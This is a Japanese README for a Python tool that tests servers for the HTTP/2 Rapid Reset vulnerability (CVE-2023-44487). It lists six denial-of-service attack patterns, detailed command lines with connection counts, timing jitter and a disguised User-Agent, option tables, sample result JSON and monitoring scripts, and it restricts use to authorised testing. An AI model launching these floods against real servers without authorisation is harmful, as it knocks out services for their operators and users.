
PythonベースのCVE-2023-44487(HTTP/2 Rapid Reset)テストツール。複数の攻撃パターン、詳細な設定、および認可されたセキュリティ評価のためのモニタリング機能を備えています。
CVE-2023-44487(HTTP/2 Rapid Reset 脆弱性)のための包括的な Python テストツールです。この拡張版では、テストパラメータの詳細な制御、複数の攻撃パターン、高度な監視機能を提供します。
このツールは教育目的および許可を得たテスト専用です!
CVE-2023-44487 は「HTTP/2 Rapid Reset」としても知られ、HTTP/2 プロトコルにおける重大な脆弱性であり、攻撃者に以下を可能にします:
CVSS スコア: 7.5(高)
影響: サービス拒否、リソース枯渇
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # 3.7+ である必要があります
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| オプション | 説明 | デフォルト |
|---|---|---|
-c, --connections N | 同時接続数 | 1 |
--connection-timeout SEC | 接続タイムアウト(秒) | 10 |
--read-timeout SEC | 応答の読み取りタイムアウト | 5 |
--connection-delay SEC | 接続間の遅延 | 0.0 |
| オプション | 説明 | デフォルト |
|---|---|---|
-r, --requests N | 接続あたりのリクエスト数 | 100 |
--delay SEC | HEADERS と RST_STREAM の間の遅延 | 0.001 |
--request-delay SEC | リクエスト間の遅延 | 0.0 |
--jitter FACTOR | タイミングのランダム化係数 | 0.0 |
| オプション | 説明 | デフォルト |
|---|---|---|
--pattern TYPE | 使用する攻撃パターン | rapid_reset |
--burst-size N | バーストあたりのリクエスト数 | 10 |
--burst-delay SEC | バースト間の遅延 | 0.1 |
利用可能なパターン:
rapid_reset - 標準的なラピッドリセット攻撃burst_reset - バーストベースの攻撃gradual_reset - レートを徐々に増加random_reset - ランダムなタイミングcontinuation_flood - CONTINUATION フレームフラッドmixed_pattern - パターンの組み合わせ| オプション | 説明 | デフォルト |
|---|---|---|
--window-size BYTES | HTTP/2 初期ウィンドウサイズ | 65535 |
--frame-size BYTES | 最大フレームサイズ | 16384 |
--header-table-size BYTES | HPACK ヘッダーテーブルサイズ | 4096 |
--enable-push | HTTP/2 サーバープッシュを有効化 | False |
--rst-error-code CODE | RST_STREAM エラーコード | 8 |
| オプション | 説明 | デフォルト |
|---|---|---|
--custom-headers HEADER | カスタムヘッダー(名前: 値) | None |
--random-headers | ランダムヘッダーを生成 | False |
--header-count N | ランダムヘッダーの数 | 5 |
| オプション | 説明 | デフォルト |
|---|---|---|
--randomize-streams | ランダムなストリーム ID を使用 | False |
--priority-frames | 優先度情報を含める | False |
--continue-on-error | エラー後も継続 | True |
--max-errors N | 停止するまでの最大エラー数 | 10 |
| オプション | 説明 | デフォルト |
|---|---|---|
--track-latency | リクエストレイテンシを追跡 | False |
--track-responses | サーバー応答を追跡 | False |
--monitor-memory | メモリ使用量を監視 | False |
| オプション | 説明 | デフォルト |
|---|---|---|
--output FORMAT | 出力形式 | console |
--output-file FILE | 出力ファイル名 | 自動生成 |
--verbose, -v | 詳細出力 | False |
--debug | デバッグログ | False |
--log-file FILE | ファイルにログ記録 | None |
利用可能な出力形式:
console - 人間が読めるコンソール出力json - 機械可読な JSONcsv - スプレッドシート互換の CSVxml - 構造化 XML 形式このツールは以下を含む包括的な結果を提供します:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
このツールは脆弱性を自動的に評価します:
サーバーが脆弱であると判明した場合は、以下の緩和策を実装してください:
import subprocess
import json
# 自動テストを実行
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://target.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# 結果を分析
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"HIGH RISK: {vulnerability_score}% success rate")
#!/bin/bash
# Cron ジョブ: 0 2 * * * /path/to/monitor.sh
python3 rapid_reset_test.py https://myserver.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# 脆弱性が検出された場合にアラート
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ALERT: Server vulnerable to rapid reset attack" | mail -s "Security Alert" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# CSV 結果を読み込んで分析
df = pd.read_csv('results.csv')
# 接続ごとの攻撃成功率を可視化
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Attack Success by Connection')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Success Rate Distribution')
plt.show()
接続拒否:
SSL/TLS エラー:
--debug を使用成功率が低い:
パフォーマンスの問題:
--debug と --log-file を使用--verbose --debug --log-file debug.log--connections 1 --requests 10--track-responses--track-latencyこのツールは MIT ライセンスの下で提供されています。詳細は LICENSE ファイルを参照してください。
このツールは、サイバーセキュリティ専門家、研究者、システム管理者が自身のシステムまたは明示的な許可を得たシステムをテストすることを目的としています。作者はこのツールの誤用について一切の責任を負いません。
重要な法的ポイント:
覚えておいてください: 大きな力には大きな責任が伴います。このツールを倫理的かつ合法的に使用してください。
拡張版は基本バージョンとの後方互換性を維持しています。既存のすべてのコマンドラインオプションは引き続き機能し、新しいオプションが追加機能を提供します。
基本バージョンからアップグレードするユーザー向け:
# 従来の基本的な使用方法は引き続き機能
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
# 追加オプションを使用した新しい拡張使用方法
python3 rapid_reset_test.py https://example.com \
--connections 5 --requests 100 \
--pattern burst_reset --track-latency --output json